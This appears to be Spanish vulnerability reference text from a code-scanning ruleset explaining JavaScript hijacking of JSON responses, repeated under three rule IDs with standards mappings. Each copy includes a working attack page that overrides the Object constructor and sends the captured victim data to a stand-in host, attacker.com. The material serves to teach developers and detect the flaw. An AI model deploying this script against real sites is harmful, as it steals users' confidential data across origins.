El formato más conocido para comunicar información en JavaScript es la Notación de objetos JavaScript (JSON). JSON RFC define la sintaxis de JSON como un subconjunto de la sintaxis literal de objetos JavaScript. JSON se basa en dos tipos de estructuras de datos: matrices y objetos. Cualquier formato de transporte de datos en el que los mensajes se puedan interpretar como una o más instrucciones de JavaScript es vulnerable a suplantación de JavaScript. JSON hace que la suplantación de JavaScript resulte más fácil por el hecho de que una matriz de JSON es por sí misma una instrucción válida de JavaScript. Puesto que las matrices son una forma natural para comunicar listas, normalmente se utilizan siempre que una aplicación tiene que comunicar varios valores. Dicho de otra forma, una matriz de JSON es directamente vulnerable a suplantación de JavaScript. Un objeto de JSON solo es vulnerable si se enmarca en alguna otra estructura de JavaScript que sea por sí misma una instrucción válida de JavaScript.

Ejemplo 1: El siguiente ejemplo empieza mostrando una interacción de JSON legítima entre los componentes del cliente y el servidor de una aplicación web que se utiliza para administrar oportunidades de ventas. A continuación, se muestra cómo un atacante puede imitar al cliente y obtener acceso a los datos confidenciales que devuelve el servidor. Tenga en cuenta que este ejemplo está pensado para exploradores basados en Mozilla. Otros exploradores estándar no permiten la anulación de constructores nativos cuando se crea un objeto sin utilizar el operador nuevo.

El cliente solicita datos de un servidor y evalúa el resultado como JSON con el siguiente código:


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


Cuando se ejecuta el código, se genera una solicitud HTTP que tiene esta apariencia:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(En esta respuesta HTTP y la siguiente, se han omitido los encabezados HTTP que no son directamente relevantes para esta explicación).
El servidor responde con una matriz en formato JSON:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


En este caso, la matriz en formato JSON contiene información confidencial relacionada con el usuario actual (una lista de oportunidades de ventas). Otros usuarios no pueden acceder a esta información sin conocer el identificador de sesión del usuario. (En la mayoría de aplicaciones web modernas, el identificador de sesión se almacena como una cookie.) No obstante, si una víctima visita un sitio web malintencionado, el sitio malintencionado puede recuperar la información mediante suplantación de JavaScript. Si se puede enga?ar a una víctima para que visite una página web que contiene el siguiente código malintencionado, la información de oportunidades de la víctima se enviará a la página web del atacante.


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


El código malintencionado usa una etiqueta de script que incluye el objeto de JSON en la página actual. El explorador web enviará la cookie de la sesión adecuada con la solicitud. Dicho de otro modo, esta solicitud se tratará del mismo modo que si se hubiera originado en la aplicación legítima.

Cuando la matriz de JSON llegue al cliente, se evaluará dentro del contexto de la pagina malintencionada. Para poder ser testigo de la evaluación del objeto de JSON, la pagina malintencionada ha cambiado la definición de la función de JavaScript que se usa para crear objetos nuevos. De este modo, el código malintencionado ha insertado un enlace que le permite acceder a la creación de cada objeto y transmitir el contenido del objeto al sitio malintencionado. Otros ataques podrían reemplazar el constructor predeterminado por matrices. Las aplicaciones creadas para utilizarse en un mashup suelen invocar a funciones de devolución de llamada al final de cada mensaje de JavaScript. La función de devolución de llamada está prevista para que la defina otra aplicación del mashup. La función de devolución de llamada hace que los ataques de secuestro de JavaScript sean un asunto sencillo; todo lo que tiene que hacer el atacante es definir la función. Las aplicaciones se pueden desarrollar para facilitar su integración en un mashup o para ser seguras, pero no es posible combinar las dos características. Si el usuario no ha iniciado sesión en un sitio vulnerable, el atacante puede compensarlo pidiendo al usuario que inicie sesión y mostrando después la página de inicio de sesión legítima de la aplicación.

Esto no es un ataque de suplantación de identidad (el atacante no obtiene acceso a las credenciales del usuario), de modo que las contramedidas de protección contra la suplantación de identidad no podrán repeler el ataque. Los ataques más complejos podrían realizar una serie de solicitudes a la aplicación haciendo que JavaScript genere dinámicamente etiquetas de scripts. Esta es la misma técnica que en ocasiones se usa para crear mashups de aplicaciones. La única diferencia es que, en esta situación de mashups, una de las aplicaciones es malintencionada.
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 12
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[12] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[26] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[27] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.semantic.dotnet.javascript_hijacking_vulnerable_framework
Abstract
Las aplicaciones que utilizan el marco de trabajo Google Web Toolkit (GTW) podrían ser vulnerables a suplantación de JavaScript, permitiendo a un atacante no autorizado poder leer datos confidenciales.
Explanation
GWT utiliza JSON para transferir datos entre el servidor y el cliente. El marco de trabajo produce respuestas compuestas de JavaScript válido que se pueden evaluar utilizando una etiqueta <script> y, por tanto, es vulnerable a la suplantación de JavaScript [1]. De forma predeterminada, el marco de trabajo utiliza el método POST para enviar solicitudes, lo que dificulta la elaboración de una solicitud a partir de una etiqueta <script> maliciosa (puesto que las etiquetas <script> solo generan solicitudes GET). No obstante, GWT ofrece mecanismos para utilizar solicitudes GET. De hecho, muchos expertos instan a los programadores a utilizar solicitudes GET para aprovechar la memoria caché del explorador y mejorar el rendimiento.

Una aplicación puede ser vulnerable a suplantación de JavaScript si: 1) Utiliza objetos JavaScript como un formato de transferencia de datos. 2) Maneja datos confidenciales. Dado que las vulnerabilidades de suplantación de JavaScript no se producen como resultado directo de un error de codificación, Fortify Secure Coding Rulepacks alerta sobre posibles vulnerabilidades de suplantación de JavaScript mediante la identificación de código que parece generar JavaScript en una respuesta HTTP.

Los exploradores web exigen la política del mismo origen (SOP) para proteger a los usuarios de sitios web malintencionados. La política del mismo origen requiere que, para que JavaScript pueda acceder al contenido de una página web, tanto JavaScript como la página web se deben originar a partir del mismo dominio. Sin la política del mismo origen, un sitio web malintencionado podría dar servicio a JavaScript que carga información confidencial desde otros sitios web mediante las credenciales de clientes, seleccionarla y comunicársela de nuevo al atacante. La suplantación de JavaScript permite a un usuario malintencionado anular la política del mismo origen en el caso de que una aplicación web utilice JavaScript para comunicar información confidencial. El fallo en la política del mismo origen es que permite que se incluya y ejecute JavaScript de cualquier sitio web en el contexto de cualquier otro sitio web. Incluso aunque un sitio malintencionado no pueda examinar directamente los datos cargados desde un sitio vulnerable en el cliente, puede aprovecharse de este fallo configurando un entorno que le permita ser testigo de la ejecución del JavaScript y de cualquier efecto secundario relevante que pueda tener. Puesto que muchas aplicaciones web 2.0 utilizan JavaScript como un mecanismo de transporte de datos, es frecuente que sean vulnerables mientras que las aplicaciones web tradicionales no lo son.

El formato más conocido para comunicar información en JavaScript es la Notación de objetos JavaScript (JSON). JSON RFC define la sintaxis de JSON como un subconjunto de la sintaxis literal de objetos JavaScript. JSON se basa en dos tipos de estructuras de datos: matrices y objetos. Cualquier formato de transporte de datos en el que los mensajes se puedan interpretar como una o más instrucciones de JavaScript es vulnerable a suplantación de JavaScript. JSON hace que la suplantación de JavaScript resulte más fácil por el hecho de que una matriz de JSON es por sí misma una instrucción válida de JavaScript. Puesto que las matrices son una forma natural para comunicar listas, normalmente se utilizan siempre que una aplicación tiene que comunicar varios valores. Dicho de otra forma, una matriz de JSON es directamente vulnerable a suplantación de JavaScript. Un objeto de JSON solo es vulnerable si se enmarca en alguna otra estructura de JavaScript que sea por sí misma una instrucción válida de JavaScript.

Ejemplo 1: El siguiente ejemplo empieza mostrando una interacción de JSON legítima entre los componentes del cliente y el servidor de una aplicación web que se utiliza para administrar oportunidades de ventas. A continuación, se muestra cómo un atacante puede imitar al cliente y obtener acceso a los datos confidenciales que devuelve el servidor. Tenga en cuenta que este ejemplo está pensado para exploradores basados en Mozilla. Otros exploradores estándar no permiten la anulación de constructores nativos cuando se crea un objeto sin utilizar el operador nuevo.

El cliente solicita datos de un servidor y evalúa el resultado como JSON con el siguiente código:


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


Cuando se ejecuta el código, se genera una solicitud HTTP que tiene esta apariencia:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(En esta respuesta HTTP y la siguiente, se han omitido los encabezados HTTP que no son directamente relevantes para esta explicación).
El servidor responde con una matriz en formato JSON:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


En este caso, la matriz en formato JSON contiene información confidencial relacionada con el usuario actual (una lista de oportunidades de ventas). Otros usuarios no pueden acceder a esta información sin conocer el identificador de sesión del usuario. (En la mayoría de aplicaciones web modernas, el identificador de sesión se almacena como una cookie.) No obstante, si una víctima visita un sitio web malintencionado, el sitio malintencionado puede recuperar la información mediante suplantación de JavaScript. Si se puede enga?ar a una víctima para que visite una página web que contiene el siguiente código malintencionado, la información de oportunidades de la víctima se enviará a la página web del atacante.


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


El código malintencionado usa una etiqueta de script que incluye el objeto de JSON en la página actual. El explorador web enviará la cookie de la sesión adecuada con la solicitud. Dicho de otro modo, esta solicitud se tratará del mismo modo que si se hubiera originado en la aplicación legítima.

Cuando la matriz de JSON llegue al cliente, se evaluará dentro del contexto de la pagina malintencionada. Para poder ser testigo de la evaluación del objeto de JSON, la pagina malintencionada ha cambiado la definición de la función de JavaScript que se usa para crear objetos nuevos. De este modo, el código malintencionado ha insertado un enlace que le permite acceder a la creación de cada objeto y transmitir el contenido del objeto al sitio malintencionado. Otros ataques podrían reemplazar el constructor predeterminado por matrices. Las aplicaciones creadas para utilizarse en un mashup suelen invocar a funciones de devolución de llamada al final de cada mensaje de JavaScript. La función de devolución de llamada está prevista para que la defina otra aplicación del mashup. La función de devolución de llamada hace que los ataques de secuestro de JavaScript sean un asunto sencillo; todo lo que tiene que hacer el atacante es definir la función. Las aplicaciones se pueden desarrollar para facilitar su integración en un mashup o para ser seguras, pero no es posible combinar las dos características. Si el usuario no ha iniciado sesión en un sitio vulnerable, el atacante puede compensarlo pidiendo al usuario que inicie sesión y mostrando después la página de inicio de sesión legítima de la aplicación.

Esto no es un ataque de suplantación de identidad (el atacante no obtiene acceso a las credenciales del usuario), de modo que las contramedidas de protección contra la suplantación de identidad no podrán repeler el ataque. Los ataques más complejos podrían realizar una serie de solicitudes a la aplicación haciendo que JavaScript genere dinámicamente etiquetas de scripts. Esta es la misma técnica que en ocasiones se usa para crear mashups de aplicaciones. La única diferencia es que, en esta situación de mashups, una de las aplicaciones es malintencionada.
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 12
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[12] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[26] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[27] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.structural.java.javascript_hijacking_vulnerable_framework
Abstract
Las aplicaciones que utilizan notación de JavaScript para trasladar datos confidenciales pueden ser vulnerables a suplantación de JavaScript, lo que permite a un atacante no autorizado poder leer datos confidenciales de una aplicación vulnerable.
Explanation
Una aplicación puede ser vulnerable a suplantación de JavaScript si: 1) Utiliza objetos JavaScript como un formato de transferencia de datos. 2) Maneja datos confidenciales. Dado que las vulnerabilidades de suplantación de JavaScript no se producen como resultado directo de un error de codificación, Fortify Secure Coding Rulepacks alerta sobre posibles vulnerabilidades de suplantación de JavaScript mediante la identificación de código que parece generar JavaScript en una respuesta HTTP.

Los exploradores web aplican la directiva de mismo origen para proteger a los usuarios de sitios web malintencionados. La directiva de mismo origen exige que, para que JavaScript pueda acceder al contenido de una página web, tanto JavaScript como la página web deben provenir del mismo dominio. Sin la política del mismo origen, un sitio web malintencionado podía servir a JavaScript que carga información confidencial desde otros sitios web mediante las credenciales de clientes, seleccionarla y comunicársela de nuevo al atacante. La suplantación de JavaScript permite a un atacante eludir la directiva de mismo origen en el caso de que una aplicación web utilice JavaScript para comunicar información confidencial. La laguna jurídica en la directiva de mismo origen es que permite que JavaScript de cualquier sitio web se incluya y ejecute en el contexto de cualquier otro sitio web. Aunque un sitio malintencionado no puede examinar directamente los datos cargados desde un sitio vulnerable en el cliente, todavía puede aprovechar esta laguna configurando un entorno que le permita presenciar la ejecución de JavaScript y cualquier efecto secundario pertinente que pueda tener. Dado que muchas aplicaciones Web 2.0 utilizan JavaScript como mecanismo de transporte de datos, a menudo son vulnerables, mientras que las aplicaciones web tradicionales no lo son.

El formato más conocido para comunicar información en JavaScript es la Notación de objetos JavaScript (JSON). JSON RFC define la sintaxis de JSON como un subconjunto de la sintaxis literal de objetos JavaScript. JSON se basa en dos tipos de estructuras de datos: matrices y objetos. Cualquier formato de transporte de datos en el que los mensajes se puedan interpretar como una o más instrucciones de JavaScript es vulnerable a suplantación de JavaScript. JSON hace que la suplantación de JavaScript resulte más fácil por el hecho de que una matriz de JSON es por sí misma una instrucción válida de JavaScript. Puesto que las matrices son una forma natural para comunicar listas, normalmente se utilizan siempre que una aplicación tiene que comunicar varios valores. Dicho de otra forma, una matriz de JSON es directamente vulnerable a suplantación de JavaScript. Un objeto de JSON solo es vulnerable si se enmarca en alguna otra estructura de JavaScript que sea por sí misma una instrucción válida de JavaScript.

Ejemplo 1: El siguiente ejemplo empieza mostrando una interacción de JSON legítima entre los componentes del cliente y el servidor de una aplicación web que se utiliza para administrar oportunidades de ventas. A continuación, se muestra cómo un atacante puede imitar al cliente y obtener acceso a los datos confidenciales que devuelve el servidor. Tenga en cuenta que este ejemplo está pensado para exploradores basados en Mozilla. Otros exploradores estándar no permiten la anulación de constructores nativos cuando se crea un objeto sin utilizar el operador nuevo.

El cliente solicita datos de un servidor y evalúa el resultado como JSON con el siguiente código:


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


Cuando se ejecuta el código, se genera una solicitud HTTP que tiene esta apariencia:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(En esta respuesta HTTP y la siguiente, se han omitido los encabezados HTTP que no son directamente relevantes para esta explicación).
El servidor responde con una matriz en formato JSON:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


En este caso, la matriz en formato JSON contiene información confidencial relacionada con el usuario actual (una lista de oportunidades de ventas). Otros usuarios no pueden acceder a esta información sin conocer el identificador de sesión del usuario. (En la mayoría de aplicaciones web modernas, el identificador de sesión se almacena como una cookie.) No obstante, si una víctima visita un sitio web malintencionado, el sitio malintencionado puede recuperar la información mediante suplantación de JavaScript. Si se puede enga?ar a una víctima para que visite una página web que contiene el siguiente código malintencionado, la información de oportunidades de la víctima se enviará a la página web del atacante.


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


El código malintencionado usa una etiqueta de script que incluye el objeto de JSON en la página actual. El explorador web enviará la cookie de la sesión adecuada con la solicitud. Dicho de otro modo, esta solicitud se tratará del mismo modo que si se hubiera originado en la aplicación legítima.

Cuando la matriz de JSON llegue al cliente, se evaluará dentro del contexto de la pagina malintencionada. Para poder ser testigo de la evaluación del objeto de JSON, la pagina malintencionada ha cambiado la definición de la función de JavaScript que se usa para crear objetos nuevos. De este modo, el código malintencionado ha insertado un enlace que le permite acceder a la creación de cada objeto y transmitir el contenido del objeto al sitio malintencionado. Otros ataques podrían reemplazar el constructor predeterminado por matrices. Las aplicaciones creadas para utilizarse en un mashup suelen invocar a funciones de devolución de llamada al final de cada mensaje de JavaScript. La función de devolución de llamada está prevista para que la defina otra aplicación del mashup. La función de devolución de llamada hace que los ataques de secuestro de JavaScript sean un asunto sencillo; todo lo que tiene que hacer el atacante es definir la función. Las aplicaciones se pueden desarrollar para facilitar su integración en un mashup o para ser seguras, pero no es posible combinar las dos características. Si el usuario no ha iniciado sesión en un sitio vulnerable, el atacante puede compensarlo pidiendo al usuario que inicie sesión y mostrando después la página de inicio de sesión legítima de la aplicación.

Esto no es un ataque de suplantación de identidad (el atacante no obtiene acceso a las credenciales del usuario), de modo que las contramedidas de protección contra la suplantación de identidad no podrán repeler el ataque. Los ataques más complejos podrían realizar una serie de solicitudes a la aplicación haciendo que JavaScript genere dinámicamente etiquetas de scripts. Esta es la misma técnica que en ocasiones se usa para crear mashups de aplicaciones. La única diferencia es que, en esta situación de mashups, una de las aplicaciones es malintencionada.
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 12
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[12] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[26] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[27] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.dataflow.javascript.javascript_hijacking_vulnerable_framework